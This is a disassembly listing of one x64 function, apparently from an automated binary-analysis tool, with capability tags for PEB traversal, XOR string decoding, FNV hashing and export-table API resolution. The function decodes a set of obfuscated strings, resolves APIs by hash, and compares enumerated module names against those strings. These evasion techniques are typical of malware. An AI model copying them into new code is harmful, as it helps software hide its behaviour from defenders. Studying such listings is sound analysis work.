Function at 0x18010e0d0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2250]
mov eax, 0x2350
call fcn.18015d990
sub rsp, rax
mov rax, qword [0x1802407e8]
xor rax, rsp
mov qword [rbp + 0x2240], rax
xor r13d, r13d
mov dword [rsp + 0x20], r13d
mov ecx, dword [0x180248ca8]
mov rax, qword gs:[0x58]
mov rdi, qword [rax + rcx*8]
mov ecx, 0xf3c
mov eax, dword [rcx + rdi]
mov ebx, 0x1170
add rbx, rdi
test al, 1
jne 0x18010e16a
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rbx + 0xa], 0x1c9d9b5
mov dword [rbx], 0xddbead7c
mov dword [rbx + 4], 0xebe0c4a6
mov word [rbx + 8], 0xbf33
lea rcx, [0x1801e3e30]
call fcn.18015cf9c
nop
cmp byte [rbx + 0xd], 0
je 0x18010e1a7
xor byte [rbx], 0x1d
xor byte [rbx + 1], 0xdb
xor byte [rbx + 2], 0xd9
xor byte [rbx + 3], 0xb5
xor byte [rbx + 4], 0xc9
xor byte [rbx + 5], 0xab
xor byte [rbx + 6], 0x8b
xor byte [rbx + 7], 0x93
xor byte [rbx + 8], 0x1d
xor byte [rbx + 9], 0xdb
xor byte [rbx + 0xa], 0xd9
xor byte [rbx + 0xb], 0xb5
xor byte [rbx + 0xc], 0xc9
mov byte [rbx + 0xd], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm1
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e1c0
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.1800dd050
nop
mov ecx, 0x1168
mov eax, dword [rcx + rdi]
mov edx, 0x1048
test al, 1
jne 0x18010e21b
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xa], 0x13b8549
mov dword [rbx], 0x81420768
mov dword [rbx + 4], 0x52703054
mov word [rbx + 8], 0x1527
lea rcx, [0x1801e3e00]
call fcn.18015cf9c
nop
jmp 0x18010e21f
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x18010e25c
xor byte [rbx], 9
xor byte [rbx + 1], 0x71
xor byte [rbx + 2], 0x25
xor byte [rbx + 3], 0xe9
xor byte [rbx + 4], 0x3b
xor byte [rbx + 5], 0x5f
xor byte [rbx + 6], 0x1b
xor byte [rbx + 7], 0x33
xor byte [rbx + 8], 9
xor byte [rbx + 9], 0x71
xor byte [rbx + 0xa], 0x25
xor byte [rbx + 0xb], 0xe9
xor byte [rbx + 0xc], 0x3b
mov byte [rbx + 0xd], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e272
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.1800dd050
nop
mov ecx, 0x1180
mov eax, dword [rcx + rdi]
mov edx, 0x1018
test al, 1
jne 0x18010e2ca
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 9], 0x1a9
mov dword [rbx], 0x8d67c704
mov dword [rbx + 4], 0x53bf13a
mov byte [rbx + 8], 0x1b
lea rcx, [0x1801e3dd0]
call fcn.18015cf9c
nop
jmp 0x18010e2ce
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xa], 0
je 0x18010e2ff
xor byte [rbx], 0x77
xor byte [rbx + 1], 0xa9
xor byte [rbx + 2], 0x1f
xor byte [rbx + 3], 0xe5
xor byte [rbx + 4], 0x51
xor byte [rbx + 5], 0xdf
xor byte [rbx + 6], 0x5f
xor byte [rbx + 7], 0x69
xor byte [rbx + 8], 0x77
xor byte [rbx + 9], 0xa9
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x20], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e315
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.1800dd050
nop
mov ecx, 0x1070
mov eax, dword [rcx + rdi]
mov edx, 0xfe0
test al, 1
jne 0x18010e373
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 0xb], 0x175
mov dword [rbx], 0x1020d506
mov dword [rbx + 4], 0x830f8159
mov word [rbx + 8], 0xdb11
mov byte [rbx + 0xa], 0x25
lea rcx, [0x1801e3da0]
call fcn.18015cf9c
nop
jmp 0x18010e377
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xc], 0
je 0x18010e3b0
xor byte [rbx], 0x75
xor byte [rbx + 1], 0xb7
xor byte [rbx + 2], 0x49
xor byte [rbx + 3], 0x75
xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0xed
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x75
xor byte [rbx + 9], 0xb7
xor byte [rbx + 0xa], 0x49
xor byte [rbx + 0xb], 0x75
mov byte [rbx + 0xc], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x40], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e3c6
mov rdx, rbx
lea rcx, [rbp + 0x30]
call fcn.1800dd050
nop
mov ecx, 0x106c
mov eax, dword [rcx + rdi]
mov edx, 0x1148
test al, 1
jne 0x18010e424
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 0xb], 0x1a5
mov dword [rbx], 0xfa225d02
mov dword [rbx + 4], 0xc9d842f9
mov word [rbx + 8], 0x4107
mov byte [rbx + 0xa], 0x27
lea rcx, [0x1801e3d70]
call fcn.18015cf9c
nop
jmp 0x18010e428
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xc], 0
je 0x18010e461
xor byte [rbx], 0x63
xor byte [rbx + 1], 0x2d
xor byte [rbx + 2], 0x4b
xor byte [rbx + 3], 0xa5
xor byte [rbx + 4], 0x95
xor byte [rbx + 5], 0x2d
xor byte [rbx + 6], 0xbf
xor byte [rbx + 7], 0xe7
xor byte [rbx + 8], 0x63
xor byte [rbx + 9], 0x2d
xor byte [rbx + 0xa], 0x4b
xor byte [rbx + 0xb], 0xa5
mov byte [rbx + 0xc], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x60], xmm1
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e480
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.1800dd050
nop
mov ecx, 0x10c8
mov eax, dword [rcx + rdi]
mov edx, 0x1158
test al, 1
jne 0x18010e4df
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 0xd], 0x1fd
mov dword [rbx], 0xd6f346c1
mov dword [rbx + 4], 0x2a999c48
mov dword [rbx + 8], 0xe5e501cd
mov byte [rbx + 0xc], 0x53
lea rcx, [0x1801e3d40]
call fcn.18015cf9c
nop
jmp 0x18010e4e3
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xe], 0
je 0x18010e524
xor byte [rbx], 0xa5
xor byte [rbx + 1], 0x2f
xor byte [rbx + 2], 0x81
xor byte [rbx + 3], 0x89
xor byte [rbx + 4], 0x3f
xor byte [rbx + 5], 0xfd
xor byte [rbx + 6], 0xed
xor byte [rbx + 7], 0x49
xor byte [rbx + 8], 0xa5
xor byte [rbx + 9], 0x2f
xor byte [rbx + 0xa], 0x81
xor byte [rbx + 0xb], 0x89
xor byte [rbx + 0xc], 0x3f
xor byte [rbx + 0xd], 0xfd
mov byte [rbx + 0xe], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x80], xmm1
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e540
mov rdx, rbx
lea rcx, [rbp + 0x70]
call fcn.1800dd050
nop
mov ecx, 0x1060
mov eax, dword [rcx + rdi]
mov edx, 0x1028
test al, 1
jne 0x18010e59e
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 0xb], 0x1b1
mov dword [rbx], 0xdeabbef7
mov dword [rbx + 4], 0xebfc1843
mov word [rbx + 8], 0xa1e3
mov byte [rbx + 0xa], 0xb3
lea rcx, [0x1801e3d10]
call fcn.18015cf9c
nop
jmp 0x18010e5a2
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xc], 0
je 0x18010e5db
xor byte [rbx], 0x87
xor byte [rbx + 1], 0xcd
xor byte [rbx + 2], 0xdf
xor byte [rbx + 3], 0xb1
xor byte [rbx + 4], 0x31
xor byte [rbx + 5], 0x7d
xor byte [rbx + 6], 0x9f
xor byte [rbx + 7], 0xc5
xor byte [rbx + 8], 0x87
xor byte [rbx + 9], 0xcd
xor byte [rbx + 0xa], 0xdf
xor byte [rbx + 0xb], 0xb1
mov byte [rbx + 0xc], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e600
mov rdx, rbx
lea rcx, [rbp + 0x90]
call fcn.1800dd050
nop
mov ecx, 0xf4c
mov eax, dword [rcx + rdi]
mov edx, 0x1078
test al, 1
jne 0x18010e661
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 0xb], 0x125
mov dword [rbx], 0x4d348c71
mov dword [rbx + 4], 0x3dd4ba48
mov word [rbx + 8], 0x8d63
mov byte [rbx + 0xa], 0x3b
lea rcx, [0x1801e3ce0]
call fcn.18015cf9c
nop
jmp 0x18010e665
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xc], 0
je 0x18010e69e
xor byte [rbx], 7
xor byte [rbx + 1], 0xe1
xor byte [rbx + 2], 0x57
xor byte [rbx + 3], 0x25
xor byte [rbx + 4], 0x2d
xor byte [rbx + 5], 0xd9
xor byte [rbx + 6], 0xbf
xor byte [rbx + 7], 0x13
xor byte [rbx + 8], 7
xor byte [rbx + 9], 0xe1
xor byte [rbx + 0xa], 0x57
xor byte [rbx + 0xb], 0x25
mov byte [rbx + 0xc], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e6c0
mov rdx, rbx
lea rcx, [rbp + 0xb0]
call fcn.1800dd050
nop
mov ecx, 0xfa4
mov eax, dword [rcx + rdi]
mov edx, 0xf68
test al, 1
jne 0x18010e718
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 8], 0x1034199
mov dword [rbx], 0x40665d82
mov dword [rbx + 4], 0x9179f663
lea rcx, [0x1801e3cb0]
call fcn.18015cf9c
nop
jmp 0x18010e71c
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xb], 0
je 0x18010e751
xor byte [rbx], 0xf5
xor byte [rbx + 1], 0x2d
xor byte [rbx + 2], 3
xor byte [rbx + 3], 0x33
xor byte [rbx + 4], 0x13
xor byte [rbx + 5], 0x8f
xor byte [rbx + 6], 0x57
xor byte [rbx + 7], 0xf5
xor byte [rbx + 8], 0xf5
xor byte [rbx + 9], 0x2d
xor byte [rbx + 0xa], 3
mov byte [rbx + 0xb], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e770
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1800dd050
nop
mov ecx, 0xfdc
mov eax, dword [rcx + rdi]
mov edx, 0x1008
test al, 1
jne 0x18010e7ce
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov dword [rbx + 0xa], 0x1eb8735
mov dword [rbx], 0x9d3db6b0
mov dword [rbx + 4], 0x335f8399
mov word [rbx + 8], 0xbffd
lea rcx, [0x1801e3c80]
call fcn.18015cf9c
nop
jmp 0x18010e7d2
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xd], 0
je 0x18010e80f
xor byte [rbx], 0xd3
xor byte [rbx + 1], 0xdb
xor byte [rbx + 2], 0x59
xor byte [rbx + 3], 0xeb
xor byte [rbx + 4], 0xeb
xor byte [rbx + 5], 0xf7
xor byte [rbx + 6], 0x69
xor byte [rbx + 7], 7
xor byte [rbx + 8], 0xd3
xor byte [rbx + 9], 0xdb
xor byte [rbx + 0xa], 0x59
xor byte [rbx + 0xb], 0xeb
xor byte [rbx + 0xc], 0xeb
mov byte [rbx + 0xd], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e830
mov rdx, rbx
lea rcx, [rbp + 0xf0]
call fcn.1800dd050
nop
mov ecx, 0x1140
mov eax, dword [rcx + rdi]
mov edx, 0x1128
test al, 1
jne 0x18010e88e
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xa], 0x1cfc591
mov dword [rbx], 0xdf995866
mov dword [rbx + 4], 0xb356b5bd
mov word [rbx + 8], 0x512b
lea rcx, [0x1801e3c50]
call fcn.18015cf9c
nop
jmp 0x18010e892
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xd], 0
je 0x18010e8cf
xor byte [rbx], 5
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0xfd
xor byte [rbx + 3], 0xa9
xor byte [rbx + 4], 0xcf
xor byte [rbx + 5], 0xc1
xor byte [rbx + 6], 0x65
xor byte [rbx + 7], 0x81
xor byte [rbx + 8], 5
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0xfd
xor byte [rbx + 0xb], 0xa9
xor byte [rbx + 0xc], 0xcf
mov byte [rbx + 0xd], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x18010e8f0
mov rdx, rbx
lea rcx, [rbp + 0x110]
call fcn.1800dd050
nop
mov dword [rbp - 0x60], r13d
mov rax, qword [0x18024bce0]
test rax, rax
jne 0x18010e9d7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x18010e9b7
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x18010e9b7
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rdi]
add rcx, r9
mov edx, 0x98105a9a
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18010e9b2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x18010e990
cmp edx, 0x57bcb87c
je 0x18010ed09
test r8d, r8d
jne 0x18010e970
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x18010e9cd
cmp qword [rax + 0x30], 0
jne 0x18010e940
mov rax, r13
mov qword [0x18024bce0], rax
call rax
mov r12, rax
mov rax, qword [0x18024bcf8]
test rax, rax
jne 0x18010eaa7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x18010ea87
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x18010ea87
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x70af929
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18010ea82
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x18010ea60
cmp edx, 0x59b9cb74
je 0x18010ed27
test r8d, r8d
jne 0x18010ea40
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x18010ea9d
cmp qword [rax + 0x30], 0
jne 0x18010ea10
mov rax, r13
mov qword [0x18024bcf8], rax
lea r9, [rbp - 0x60]
mov r8d, 0x2000
lea rdx, [rbp + 0x130]
mov rcx, r12
call rax
test eax, eax
je 0x18010edc6
mov r14d, r13d
mov eax, dword [rbp - 0x60]
test rax, 0xfffffffffffffff8
jbe 0x18010edc6
lea r15, [rbp + 0x130]
nop
mov rax, qword [0x18024bcd0]
test rax, rax
jne 0x18010eba7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18010eb87
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18010eb87
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x1fbe6c0
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x18010eb82
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x18010eb60
cmp edx, 0xcf04bbbb
je 0x18010ed45
test r8d, r8d
jne 0x18010eb40
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x18010eb9d
cmp qword [rax + 0x30], 0
jne 0x18010eb10
mov rax, r13
mov qword [0x18024bcd0], rax
mov r9d, 0x104
lea r8, [rbp + 0x2130]
mov rdx, qword [r15]
mov rcx, r12
call rax
test eax, eax
je 0x18010ed9c
lea rax, [rbp + 0x2130]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x18010ebd2
call fcn.180179f44
lea rcx, [rbp + 0x2130]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rbx
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rbp - 0x58]
call fcn.1800dead0
mov ebx, dword [rsp + 0x20]
or ebx, 0x60
lea rdi, [rbp - 0x30]
nop dword [rax]
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 8
cmovae rcx, qword [rbp - 0x58]
mov rax, qword [rbp - 0x48]
lea r11, [rcx + rax*2]
mov r10, r11
mov rdx, r11
call fcn.18010cc00
cmp rax, r11
je 0x18010ec6e
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x18010ec45
cmp cx, 0x2f
jne 0x18010ec4e
add rax, 2
cmp rax, r11
jne 0x18010ec36
cmp rax, r11
je 0x18010ec6e
lea rdx, [r10 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x18010ec6e
cmp cx, 0x2f
je 0x18010ec6e
mov r10, rdx
cmp rax, rdx
jne 0x18010ec53
sub r11, r10
sar r11, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], r13
mov r8, r11
mov rdx, r10
lea rcx, [rsp + 0x28]
call fcn.18010eec0
nop
lea rax, [rsp + 0x28]
cmp qword [rsp + 0x40], 8
cmovae rax, qword [rsp + 0x28]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.1800fc040
or ebx, 0x1f
mov dword [rsp + 0x20], ebx
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x18010ece4
mov rdx, qword [rdi]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
cmp r8, qword [rdi + 0x10]
jne 0x18010ed61
call fcn.1801a1610
test eax, eax
jne 0x18010ed61
mov bl, 1
jmp 0x18010ed63
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x18010e9d0
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x18010eaa0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x18010eba0
xor bl, bl
lea rcx, [rbp - 0x80]
call fcn.1800db3e0
nop
lea rcx, [rsp + 0x28]
call fcn.1800e8670
test bl, bl
jne 0x18010edb7
add rdi, 0x20
lea rax, [rbp + 0x130]
cmp rdi, rax
mov ebx, dword [rsp + 0x20]
jne 0x18010ec10
lea rcx, [rbp - 0x58]
call fcn.1800e8670
inc r14d
add r15, 8
mov ecx, dword [rbp - 0x60]
shr rcx, 3
movsxd rax, r14d
cmp rax, rcx
jae 0x18010edc6
jmp 0x18010eae0
lea rcx, [rbp - 0x58]
call fcn.1800e8670
mov r13d, 3
lea r9, [fcn.1800d9da0]
mov edx, 0x20
lea r8d, [rdx - 0x15]
lea rcx, [rbp - 0x30]
call fcn.18015d034
nop
mov eax, r13d
mov rcx, qword [rbp + 0x2240]
xor rcx, rsp
call fcn.18015c7e0
lea r11, [rsp + 0x2350]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret